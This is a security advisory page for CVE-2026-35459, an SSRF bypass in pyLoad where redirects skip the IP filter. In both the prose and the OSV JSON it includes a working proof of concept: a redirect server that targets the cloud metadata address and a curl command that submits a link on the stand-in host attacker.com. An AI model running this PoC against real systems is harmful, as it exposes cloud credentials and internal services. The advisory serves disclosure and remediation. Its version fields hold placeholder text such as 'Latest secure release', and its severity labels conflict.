CVE-2026-35459: pyLoad SSRF Filter Bypass Vulnerability

CRITICAL
Advisory Identifier: GHSA-7gvf-3w72-p2pg
CWE-918
Published
Advisory Summary

CVE-2026-35459 is a CRITICAL ssrf filter bypass vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting pyLoad libraries in the PyPI ecosystem. The issue involves ssrf filter bypass via http redirect in basedownloader (incomplete fix for cve-2026-33992). Remediation is available in the latest vendor maintenance releases.

CVE-2026-35459 at a Glance

CVE Identifier CVE-2026-35459
GHSA Identifier GHSA-7gvf-3w72-p2pg
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product pyLoad
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-35459

To remediate this vulnerability, upgrade all affected pyLoad dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pyload-ng fixed: Latest secure release
pip install pyload-ng>=Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show pyload-ng

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-35459, inspect your installed packages using pip:

pip show pyload-ng

Analyze the terminal output to locate any version of pyLoad in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The pip show pyload-ng command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In pyLoad, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The fix for CVE-2026-33992 (GHSA-m74m-f7cr-432x) added IP validation to `BaseDownloader.download()` that checks the hostname of the initial download URL. However, pycurl is configured with `FOLLOWLOCATION=1` and `MAXREDIRS=10`, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter. An authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address. ## Root Cause The SSRF check at `src/pyload/plugins/base/downloader.py:335-341` validates only the initial URL: dl_hostname = urllib.parse.urlparse(dl_url).hostname if is_ip_address(dl_hostname) and not is_global_address(dl_hostname): self.fail(...) else: for ip in host_to_ip(dl_hostname): if not is_global_address(ip): self.fail(...) After the check passes, `_download()` is called. pycurl is configured at `src/pyload/core/network/http/http_request.py:114-115` to follow redirects: self.c.setopt(pycurl.FOLLOWLOCATION, 1) self.c.setopt(pycurl.MAXREDIRS, 10) No `CURLOPT_REDIR_PROTOCOLS` restriction is set anywhere in HTTPRequest. Redirect targets bypass the SSRF filter entirely. ## PoC Redirect server (attacker-controlled): from http.server import HTTPServer, BaseHTTPRequestHandler class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header("Location", "http://169.254.169.254/metadata/v1.json") self.end_headers() HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever() Submit to pyload (requires ADD permission): curl -b cookies.txt -X POST 'http://target:8000/json/add_package' \ -d 'add_name=ssrf-test&add_dest=1&add_links=http://attacker.com:8888/redirect' The SSRF check resolves `attacker.com` to a public IP and passes. pycurl follows the 302 redirect to `http://169.254.169.254/metadata/v1.json` without validation. Cloud metadata is downloaded and saved to the storage folder. ## Impact An authenticated user with ADD permission can access: - Cloud metadata endpoints (169.254.169.254) for AWS, GCP, DigitalOcean, Azure — including IAM credentials and instance identity - Internal network services (10.x, 172.16.x, 192.168.x) - Localhost services (127.0.0.1) This is the same impact as CVE-2026-33992 (rated Critical), achieved through a single redirect hop. The severity is reduced from Critical to High because authentication with ADD permission is now required. ## Suggested Fix Disable automatic redirect following and validate each redirect target: # In HTTPRequest.__init__(): self.c.setopt(pycurl.FOLLOWLOCATION, 0) Then implement manual redirect following in the download logic with SSRF validation at each hop. Alternatively, restrict redirect protocols: self.c.setopt(pycurl.REDIR_PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS) And add a pycurl callback to validate redirect destination IPs before following. ## Resources - CVE-2026-33992 / GHSA-m74m-f7cr-432x: Original SSRF (Critical, unauthenticated). This bypass requires ADD permission.

CVE-2026-35459 Affected pyLoad Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
pyload-ng
PyPI
≤ 0.5.0b3.dev96

References

Frequently Asked Questions

What is CVE-2026-35459?
CVE-2026-35459 is a security vulnerability in pyLoad involving SSRF filter bypass via HTTP redirect in BaseDownloader (Incomplete fix for CVE-2026-33992) under CWE-918: Server-Side Request Forgery (SSRF).
Which pyLoad versions are affected?
Affected versions include releases prior to current release patches across affected packages: pyload-ng.
What version fixes CVE-2026-35459?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is pyload-ng affected?
Yes, pyload-ng is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with CVE-2026-35459?
CVE-2026-35459 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check PyPI dependencies for CVE-2026-35459?
Run the dependency tree command: 'pip show pyload-ng'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7gvf-3w72-p2pg",
  "modified" : "2026-04-06T23:44:01Z",
  "published" : "2026-04-04T06:41:08Z",
  "aliases" : [ "CVE-2026-35459" ],
  "summary" : "pyLoad: SSRF filter bypass via HTTP redirect in BaseDownloader (Incomplete fix for CVE-2026-33992)",
  "details" : "## Summary\n\nThe fix for CVE-2026-33992 (GHSA-m74m-f7cr-432x) added IP validation to `BaseDownloader.download()` that checks the hostname of the initial download URL. However, pycurl is configured with `FOLLOWLOCATION=1` and `MAXREDIRS=10`, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter.\n\nAn authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.\n\n## Root Cause\n\nThe SSRF check at `src/pyload/plugins/base/downloader.py:335-341` validates only the initial URL:\n\n    dl_hostname = urllib.parse.urlparse(dl_url).hostname\n    if is_ip_address(dl_hostname) and not is_global_address(dl_hostname):\n        self.fail(...)\n    else:\n        for ip in host_to_ip(dl_hostname):\n            if not is_global_address(ip):\n                self.fail(...)\n\nAfter the check passes, `_download()` is called. pycurl is configured at `src/pyload/core/network/http/http_request.py:114-115` to follow redirects:\n\n    self.c.setopt(pycurl.FOLLOWLOCATION, 1)\n    self.c.setopt(pycurl.MAXREDIRS, 10)\n\nNo `CURLOPT_REDIR_PROTOCOLS` restriction is set anywhere in HTTPRequest. Redirect targets bypass the SSRF filter entirely.\n\n## PoC\n\nRedirect server (attacker-controlled):\n\n    from http.server import HTTPServer, BaseHTTPRequestHandler\n\n    class RedirectHandler(BaseHTTPRequestHandler):\n        def do_GET(self):\n            self.send_response(302)\n            self.send_header(\"Location\", \"http://169.254.169.254/metadata/v1.json\")\n            self.end_headers()\n\n    HTTPServer((\"0.0.0.0\", 8888), RedirectHandler).serve_forever()\n\nSubmit to pyload (requires ADD permission):\n\n    curl -b cookies.txt -X POST 'http://target:8000/json/add_package' \\\n      -d 'add_name=ssrf-test&add_dest=1&add_links=http://attacker.com:8888/redirect'\n\nThe SSRF check resolves `attacker.com` to a public IP and passes. pycurl follows the 302 redirect to `http://169.254.169.254/metadata/v1.json` without validation. Cloud metadata is downloaded and saved to the storage folder.\n\n## Impact\n\nAn authenticated user with ADD permission can access:\n\n- Cloud metadata endpoints (169.254.169.254) for AWS, GCP, DigitalOcean, Azure — including IAM credentials and instance identity\n- Internal network services (10.x, 172.16.x, 192.168.x)\n- Localhost services (127.0.0.1)\n\nThis is the same impact as CVE-2026-33992 (rated Critical), achieved through a single redirect hop. The severity is reduced from Critical to High because authentication with ADD permission is now required.\n\n## Suggested Fix\n\nDisable automatic redirect following and validate each redirect target:\n\n    # In HTTPRequest.__init__():\n    self.c.setopt(pycurl.FOLLOWLOCATION, 0)\n\nThen implement manual redirect following in the download logic with SSRF validation at each hop. Alternatively, restrict redirect protocols:\n\n    self.c.setopt(pycurl.REDIR_PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS)\n\nAnd add a pycurl callback to validate redirect destination IPs before following.\n\n## Resources\n\n- CVE-2026-33992 / GHSA-m74m-f7cr-432x: Original SSRF (Critical, unauthenticated). This bypass requires ADD permission.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pyload-ng"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.5.0b3.dev96"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pyload/pyload/security/advisories/GHSA-7gvf-3w72-p2pg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33992"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-35459"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pyload/pyload/commit/33c55da084320430edfd941b60e3da0eb1be9443"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pyload/pyload"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-04T06:41:08Z",
    "nvd_published_at" : "2026-04-06T20:16:28Z"
  }
}